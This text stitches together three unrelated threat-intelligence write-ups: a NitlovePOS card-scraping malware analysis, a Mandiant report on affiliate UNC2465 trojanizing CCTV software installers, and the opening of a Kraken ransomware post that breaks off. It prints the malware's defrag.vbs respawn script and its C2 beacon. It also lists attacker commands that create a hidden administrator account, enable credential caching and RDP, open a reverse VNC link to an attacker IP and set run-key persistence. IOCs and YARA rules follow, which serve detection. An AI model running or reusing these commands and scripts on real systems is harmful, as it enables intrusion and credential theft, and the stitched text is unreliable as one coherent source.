load33.exe 9c6398de0101e6b3811cf35de6fc7b79  load.exe ac8358ce51bbc7f7515e656316e23f8d  Pony.exe 3309274e139157762b5708998d00cee0  Pony.exe b3962f61a4819593233aa5893421c4d1  pos.exe 6cdd93dcb1c54a4e2b036d2e13b51216  pos.exe
We focused on the “pos.exe” malware and suspected that it maybe targeted Point of Sale machines.
We speculate that once the attackers have identified a potentially interesting host form among their victims, they can then instruct the victim to download the POS malware.
While we have observed many downloads of the various EXE’s hosed on that server, we have only observed three downloads of “pos.exe”.
Technical Analysis We analyzed the “pos.exe” ( 6cdd93dcb1c54a4e2b036d2e13b51216) binary found on the 80.242.123.155 server.
(A new version of “pos.exe” ( b3962f61a4819593233aa5893421c4d1 ) was uploaded on May 22, 2015 that has exactly the same malicious behavior but with different file structure.)
The binary itself is named “TAPIBrowser” and was created on May 20, 2015.
File Name                       : pos.exe File Size                       : 141 kB MD5: 6cdd93dcb1c54a4e2b036d2e13b51216 File Type                       : Win32 EXE Machine Type                    : Intel 386 or later, and compatibles Time Stamp                      : 2015:05:20 09:02:54-07:00
PE Type                         : PE32 File Description                : TAPIBrowser MFC Application File Version                    : 1, 0, 0, 1 Internal Name                   :
TAPIBrowser Legal Copyright                 : Copyright (C) 2000
Legal Trademarks                : Original Filename               : TAPIBrowser.
EXE Private Build                   : Product Name                    : TAPIBrowser Application Product Version                 : 1, 0, 0, 1: The structure of the file is awkward; it only contains three sections: .rdata, .hidata and .rsrc and the entry point located inside .
hidata : When executed, it will copy itself to disk using a well-known hiding technique via NTFS Alternate Data Streams (ADS) as: ~\\Local Settings\\Temp:defrag.scr Then will create a vbs script and save it to disk, again using ADS: ~\\Local
Settings\\Temp:
defrag.vbs By doing this, the files are not visible in the file system and therefore are more difficult to locate and detect.
Once the malware is running, the “ defrag.vbs ” script monitors for attempts to delete the malicious process via InstanceDeletion Event ; it will re-spawn the malware if the process is terminated.
Here is the code contained within “ defrag.vbs ”: Set f=CreateObject(\"Scripting.
FileSystemObject\")
Set W=CreateObject(\"WScript.
Shell\")
Do While GetObject(\"winmgmts:
Win32_Process\").Create(W.ExpandEnvironmentStrings(\"\"\"%TMP%:Defrag.scr\"\" -\"),n,n,p)=0 GetObject(\"winmgmts:\\\\.\\root\\cimv2\").ExecNotificationQuery(\"Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process' AND TargetInstance.
ProcessID=\"&p).NextEvent if(f.
FileExists(WScript.
ScriptFullName)=false)then W.Run(W.ExpandEnvironmentStrings(\"cmd /C /D
type nul > %TMP%:Defrag.scr\")), 0, true Exit Do End If Loop The malware ensures that it will run after every reboot by adding itself to the Run registry key: \\REGISTRY\\MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\\"Defrag\" =
wscript \"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp:defrag.vbs\" NitlovePOS expects to be run with the “-“ sign as argument; otherwise it won’t perform any malicious actions.
This technique can help bypass some methods of detection, particularly those that leverage automation.
Here is an example of how the malware is executed: \\LOCALS~1\\Temp:Defrag.scr\" - If the right argument is provided, NitlovePOS will decode itself in memory and start searching for payment card data.
If it is not successful, NitlovePOS will sleep for five minutes and restart the searching effort.
NitlovePOS has three main threads: Thread 1 :  SSL C2 Communications Thread 2 : MailSlot monitoring waiting for CC.
Thread 3 :
Memory Scrapping Thread 1:
C2 Communications NitlovePOS is configured to connect to one of three hardcoded C2 servers:
systeminfou48[.
]ru infofinaciale8h[.
]ru helpdesk7r[.
]ru
All three of these domains resolve to the same IP address: 146.185.221.31 .
This IP address is assigned to a network located in St. Petersburg, Russia.
As soon as NitlovePOS starts running on the compromised system, it will initiate a callback via SSL: POST /derpos/gateway.php HTTP/1.1 User-Agent: nit_love<GUID>
Host: systeminfou48.ru
Content-Length: 41 Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache F.r.
HWAWAWAWA <computer name> <
OS Version> Y
The User-Agent header contains a hardcoded string “nit_love” and the Machine GUID, which is not necessarily unique but can be used as an identifier by the cybercriminals.
The string “HWAWAWAWA” is hardcoded and may be a unique campaign identifier; the “F.r.” is calculated per infected host.
Thread 2: MailSlot monitoring waiting for payment card data A mailslot is basically a shared range of memory that can be used to store data; the process creating the mailslot acts as the server and the clients can be other hosts on the same network, local processes on the machine, or local threads in the same process.
NitlovePOS uses this feature to store payment card information; the mailslot name that is created comes as a hardcoded string in the binary (once de-obfuscated); \"\\\\.\\mailslot\\95d292040d8c4e31ac54a93ace198142\" Once the mailslot is created, an infinite loop will keep querying the allocated space.
Thread 3:
Memory Scrapping NitlovePOS scans running processes for payment data and but will skip System and “System Idle Process.”
It will try to match track 1 or track 2 data and, if found, will write the data into the mailslot created by Thread 2.
This information is then sent via POST it to the C2 using SSL, which makes network-level detection more difficult.
Possible Control Panel During our research we observed what appears to be a test control panel on a different, but probably related, server that matches with NitlovePOS.
This panel is called “nitbot,” which is similar to the “nit_love” string found in the binary and was located in a directory called “derpmo” which is similar to the “derpos” used in this case.
The information contained in the NitlovePOS beacon matches the fields that are displayed in the Nitbot control panel.
These include the machines GIUD that is transmitted in the User-Agent header as well as an identifier “HWAWAWAWA,” which aligns with the “group name” that can be used by the cybercriminals to track various campaigns.
The control panel contains a view that lists the “tracks,” or stolen payment card data.
This indicates that this panel is for malware capable of stealing data from POS machines that matches up with the capability of the NitlovePOS malware.
Conclusion Even cybercriminals engaged in indiscriminate spam operations have POS malware available and can deploy it to s subset of their victims.
Due to the widespread use of POS malware, they are eventually discovered and detection increases.
However, this is followed by the development of new POS with very similar functionality.
Despite the similarity, the detection levels for new variants are initially quite low.
This gives the cybercriminals a window of opportunity to exploit the use of a new variant.
We expect that new versions of functionally similar POS malware will continue to emerge to meet the demand of the cybercrime marketplace.
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Mandiant observed DARKSIDE affiliate UNC2465
accessing at least one victim through a Trojanized software installer downloaded from a legitimate website.
While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.
As reported in the Mandiant post, \" Shining a Light on DARKSIDE Ransomware Operations ,\" Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates.
UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.
The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program ( Mandiant Advantage background ).
While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.
Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website.
Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.
While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness.
Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers.
A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.
DARKSIDE
RaaS
In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service.
This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service.
The post cited law enforcement pressure and pressure from the United States for this decision.
Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate.
There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam.
While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations.
Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month.
Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services.
As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil)
RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service.
Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.
Background In June 2021, Mandiant Consulting was engaged to respond to an intrusion.
During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website.
Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.
On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP.
Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer.
Additional malware use such as BEACON, and lateral movement also occurred.
Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.
Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.
Supply Chain Intrusion Cycle Figure 1:
Intrusion cycle Phase 1:
Trojanized Installer Download Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.
The downloaded file was extracted to C:\\Users\\[username]\\Downloads\\06212019-General-SMARTPSS-Win32-ChnEng-IS\\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.
Mandiant confirmed the user intended to download, install, and use the SmartPSS software.
Figure 2 shows an image of the download page used for SmartPSS software.
Figure 2: SmartPSS download page Phase 2: Nullsoft Installer The installer executable is a Nullsoft installer that when executed wrote two files to C:\\ProgramData\\SMARTPSS-Win32_ChnEng_IS.
We were able to extract the malicious installer script and files for analysis using 7-Zip.
The relevant section of this installer script is shown below in Figure 3.
Figure 3: Nullsoft installer script section The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6).
The former is a clean installer from the original developer and is launched first, installing the software as the user may expect.
The latter is launched with a command line URL executing the content.
The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown.
Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided.
This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy.
Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.
Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe Phase 3: Downloaded VBScript and PowerShell Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.
]xyz/ID-508260156241, and passed as an argument on the command line.
Domain sdoc[.
]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported.
According to RiskIQ, sdoc[.
]xyz shares a registrant with koliz[.
]xyz, which was also observed by Mandiant in past UNC2465 intrusions.
C:\\PROGRAMDATA\\SMARTPSS-Win32_ChnEng_IS\\smartpss.exe hxxp://sdoc[.
]xyz/ID-508260156241 The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory.
Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.
<html><head>..
<script language='VBScript'>..
On Error Resume
Next At the time of writing, sdoc[.
]xyz appeared to be active, but not returning the VBScript code.
It is not clear if sdoc[.
]xyz was selecting victims based on IP or other properties or was simply dormant.
A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.
Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.
Figure 6: SMOKEDHAM downloader Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.
csc.exe /noconfig /fullpaths @'C:\\Users\\
[username]\\AppData\\Local\\Temp\\qnxfhfim\\qnxfhfim.cmdline' Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file.
...
/t:
library /utf8output /R:'System.dll' /R:'C:\\windows\\Microso
After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.
]com used by SMOKEDHAM.
Phase 4: SMOKEDHAM Dropper The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor.
The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor.
The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable.
In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.
The SMOKEDHAM backdoor source code is embedded as an encrypted string.
The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet.
After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point.
The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval.
Figure 7 shows the deobfuscated SMOKEDHAM dropper.
Figure 7: SMOKEDHAM dropper Phase 5: SMOKEDHAM Backdoor SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture.
The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.
SMOKEDHAM Network Communications SMOKEDHAM communicates with its C2 server using HTTPS.
The backdoor uses domain fronting to obfuscate its true C2 server.
The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor.
Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.
]com and hard-coded domain max-ghoster1.azureedge[.
]net used for C2 server communication.
The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests.
The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses.
The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.
The ID field contains a unique value generated by the backdoor for the target system.
The UUID field may contain a unique value used to track command output or be empty.
When the C2 server responds with a command to execute, it sets the UUID field to a unique value.
SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.
The Data field may contain RC4-encrypted, Base64-encoded command data or be empty.
The backdoor uses the Data field to send command output to its C2 server.
The C2 server uses the Data field to send commands to the backdoor to execute.
The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field.
Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.
SMOKEDHAM Commands SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field.
The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1.
Keyword Action delay Update its sleep interval screenshot Upload a screen capture to its C2 server via a subsequent HTTP POST request exit Terminate Table 1:
Plaintext command data keywords If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it.
The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.
In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes.
The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.
SMOKEDHAM In Action SMOKEDHAM was observed executing commands on the target system using PowerShell.
The following commands were used to collect information about the system and logged in users.
net.exe user net.exe users whoami.exe whoami.exe /priv systeminfo.exe The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.
net.exe user DefaultUser REDACTED /ADD net.exe localgroup Administrators DefaultUser /ADD reg.exe
ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' /v
DefaultUser /t
REG_DWORD /d 0 /f
The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.
reg.exe ADD 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server' /v fDenyTSConnections /t
REG_DWORD /d 0 /f reg.exe ADD 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server' /v fSingleSessionPerUser /t
REG_DWORD /d 0 /f reg.exe ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v
LimitBlankPasswordUse /t
REG_DWORD /d
1 /f
Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential to enable credential caching.
Phase 6: Follow-on Activity SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8.
These files were saved to the %APPDATA%\\Chrome\\ directory.
The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter
AllowLoopback=1.
Figure 8: Contents of UltraVNC.ini SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.
]54[:]7234 that has been observed in past UNC2465 intrusions.
%APPDATA%\\Chrome\\winvnc.exe' -autoreconnect
ID:15000151 -connect 81.91.177[.
]54[:]7234 –run SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.
reg.exe add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v ConhostNT /d %appdata%\\Chrome\\winvnc.exe NGROK Configuration SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml.
These files were stored in the C:\\ProgramData\\WindNT\\ directory.
NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.
Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.
Figure 9:
Contents of VirtualHost.vbs Figure 10: Contents of ngrok.yml
The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.
SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.
reg.exe add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindNT /d
C:\\ProgramData\\WindNT\\VirtualHost.vbs Keylogger Deployment This attacker utilized an additional keylogging utility named C:\\ProgramData\\psh\\console.exe.
The keylogging utility was configured to capture and record keystrokes to C:\\ProgramData\\psh\\System32Log.txt.
Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility.
The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations: C:\\Users\\[username]\\Start Menu\\Programs\\Startup\\desktop.lnk %
APPDATA%\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\desktop.lnk %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\console.lnk
Cobalt Strike
Beacon The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe.
Update.exe was a Go based dropper created using the ScareCrow framework.
The attacker executed C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe using Command Prompt.
cmd.exe /c '
C:\\ProgramData\\Cisco Systems\\Cisco Jabber\\update.exe'&&exit
The execution of ScareCrow framework dropper C:\\ProgramData\\Cisco
Systems\\Cisco Jabber\\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\\ProgramData\\Cisco\\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.
]xyz when executed.
Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ directory.
Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.
LSASS Dumping and Lateral Movement Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.
DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\\ProgramData\\psh\\ directory.
From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.
Conclusion UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user.
UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours.
Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.
Ransomware groups continue to adapt and pursue opportunistic access to victims.
UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection.
While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus.
A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.
Indicators Supply Chain/Trojanized Nullsoft Installer/SmartPSS MD5: 1430291f2db13c3d94181ada91681408
Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe Zip MD5: 54e0a0d398314f330dfab6cd55d95f38 Supply Chain/Trojanized Nullsoft Installer/SVStation MD5: e9ed774517e129a170cdb856bd13e7e8 Filename: SVStation_Win64-B1130.1.0.0.exe Intermediate Stage URL: hxxp://sdoc[.
]xyz/ID-508260156241 IP: 185.92.151[.
]150 SMOKEDHAM LOADER MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html) MD5: 05d38c7e957092f7d0ebfc7bf1eb5365 SMOKEDHAM MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)
Host: max-ghoster1.azureedge[.
]net (actual C2) MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html)
Host: atlant20.azureedge[.
]net (actual C2) MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)
Host: skolibri13.azureedge[.
]net (actual C2)
NGROK MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe) MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs) UltraVNC IP/Port: 81.91.177[.
]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4)
BEACON Host: w2doger[.
]xyz IP: 185.231.68.102 MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)
Detecting the Techniques FireEye detects this activity across our platforms.
The following contains specific detection names that provide indicators associated with this activity.
Platform Detection Name FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect Backdoor.
BEACON FE_Loader_Win32_BLUESPINE_1 Trojan.
Win32.CobaltStrike Backdoor.
MSIL.SMOKEDHAM Malware.
Binary.ps1 FEC_Backdoor_CS_SMOKEDHAM_1 Suspicious Process PowerShell Activity FireEye Endpoint Security Real-Time Detection (IOC) WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY) WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY) SUSPICIOUS CONHOST.EXE
A (METHODOLOGY)
TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY)
Malware Protection (AV/MG) Trojan.
GenericFCA.Script.533 Trojan.
GenericFCA.Agent.7732 Dropped:Trojan.
VBS.VGU Trojan.
CobaltStrike.
FM NGRok Ultra VNC SVN Station Generic.mg.a9fa3eba3f644ba3 Generic.mg.1626373508569884 Modules Process Guard
(LSASS memory protection)
FireEye Helix VNC METHODOLOGY
[Procs] (T1021.005) WINDOWS ANALYTICS [Abnormal RDP Logon] (T1078) WINDOWS ANALYTICS [Recon Commands] (T1204) WINDOWS METHODOLOGY
[Cleartext Credentials Enabled - UseLogonCredential] (T1003.001) WINDOWS METHODOLOGY
[LSASS Generic Dump Activity] (T1003.001) WINDOWS METHODOLOGY [LSASS Memory Access] (T1003.001) WINDOWS METHODOLOGY
[Registry Run Key - reg.exe] (T1547.001) WINDOWS METHODOLOGY [User Created - Net Command] (T1136.001) Yara Detections rule Backdoor_Win_SMOKEDHAM { meta: author = \"Mandiant\" date_created = \"2021-06-10\" md5 = \"9de326bf37270776b78e30d442bda48b\" strings: $C2Method =
{ 2E 4D 65 74 68
6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method =
\"POST\" $domainFrontingDomain = /\\.
[hH]ost\\s*=\\s*\\\"[^\\\"]*\";/ $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45
6E 76 69 72
6F 6E 6D 65 6E 74 56 61 72 69 61 62
6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.
GetEnvironmentVariable(\"COMPUTERNAME\") $envCollection2 = { 45 6E 76 69 72
6F 6E 6D 65 6E 74 2E 47 65 74 45
6E 76 69 72
6F 6E 6D 65 6E 74 56 61 72 69 61 62
6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.
GetEnvironmentVariable(\"USERDOMAIN\") $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47
65 74 45 6E 76 69 72
6F 6E 6D 65 6E 74 56 61 72 69 61 62
6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.
GetEnvironmentVariable(\"USERNAME\") $functionalityString1 = { 28 22 64 65
6C 61 79 22 29 } //(\"delay\") $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68
6F 74 22 29 } //(\"screenshot\") $functionalityString3 = { 28 22 65 78 69 74 22 29 } //(\"exit\") $publicStrings1 =
\"public string UUID\" $publicStrings2 =
\"public string ID\" $publicStrings3 = \"public string Data\" $UserAgentRequest = { 20 3D 20 45 6E 76 69 72
6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54
6F 53 74 72 69 6E 67 28 29 3B } // = Environment.
OSVersion.
ToString(); condition: filesize < 1MB and all of them } rule Loader_Win_SMOKEDHAM { meta: author = \"Mandiant\" date_created = \"2021-06-10\" md5 = \"05d38c7e957092f7d0ebfc7bf1eb5365\" strings: $listedDLLs1 = \"System.
Drawing.dll\" fullword $listedDLLs2 =
\"System.
Web.
Extensions.dll\" fullword $listedDLLs3 =
\"System.
Windows.
Forms.dll\" fullword $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp $StringConversion = \"convertto-securestring\" nocase $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69
6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72
65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.
Runtime.
InteropServices.
Marshal]::SecureStringToBSTR $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69
6e 67 41 75 74 6f} //[System.
Runtime.
InteropServices.
Marshal]::PtrToStringAuto condition: filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2 } MITRE
ATT&CK UNC2465
Tactic Description Initial Access T1189: Drive-by Compromise T1195.002: Compromise Software Supply Chain T1566:
Phishing Execution T1053.005: Scheduled Task T1059.001: PowerShell T1059.005:
Visual Basic Persistence T1098:
Account Manipulation T1136: Create Account T1547.001:
Registry Run Keys / Startup Folder T1547.004:
Winlogon Helper DLL T1547.009: Shortcut Modification Defense Evasion T1027: Obfuscated Files or Information T1070.006:
Timestomp T1112: Modify Registry T1140: Deobfuscate/Decode Files or Information T1218.005:
Mshta T1553.002: Code Signing T1562.004: Disable or Modify System Firewall Discovery T1012: Query Registry T1033:
System Owner/User Discovery T1082:
System Information Discovery Collection T1056.001:
Keylogging T1113: Screen Capture T1560:
Archive Collected Data Impact T1486:
Data Encrypted for Impact T1531:
Account Access Removal Command and Control T1071.001: Web Protocols T1090.004: Domain Fronting T1102:
Web Service T1105:
Ingress Tool Transfer T1219:
Remote Access Software T1572:
Protocol Tunneling T1573.002: Asymmetric Cryptography Lateral Movement T1021.004:
SSH T1021.005: VNC Credential Access T1003.001: LSASS Memory Resource Development T1588.003:
Code Signing Certificates T1588.004: Digital Certificates T1608.003: Install Digital Certificate Acknowledgements Thanks to everyone that contributed analysis and review.
Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.
Subscribe to Blogs Get email updates as new blog posts are added.
By John Fokker on Oct 30, 2018 Alexandr Solad and Daniel Hatheway of Recorded Future are coauthors of this post.
Read Recorded Future’s version of this analysis.
Rising from the deep, Kraken Cryptor ransomware has had a notable development path in recent months.
The first signs of Kraken came in mid-August on a popular underground forum.
In mid-September it was reported that the malware developer had placed the ransomware, masquerading as a security solution, on the website SuperAntiSpyware, infecting systems that tried to download a legitimate version of the antispyware software.
Kraken’s presence became more apparent at the end of September, when the security researcher nao_sec discovered that the Fallout Exploit Kit, known for delivering GandCrab ransomware, also started to deliver Kraken.
The McAfee Advanced Threat Research team, working with the Insikt group from Recorded Future, found evidence of the Kraken authors asking the Fallout team to be added to the Exploit Kit.
With this partnership, Kraken now has an additional malware delivery method for its criminal customers.
We also found that the user associated with Kraken ransomware, ThisWasKraken, has a paid account.
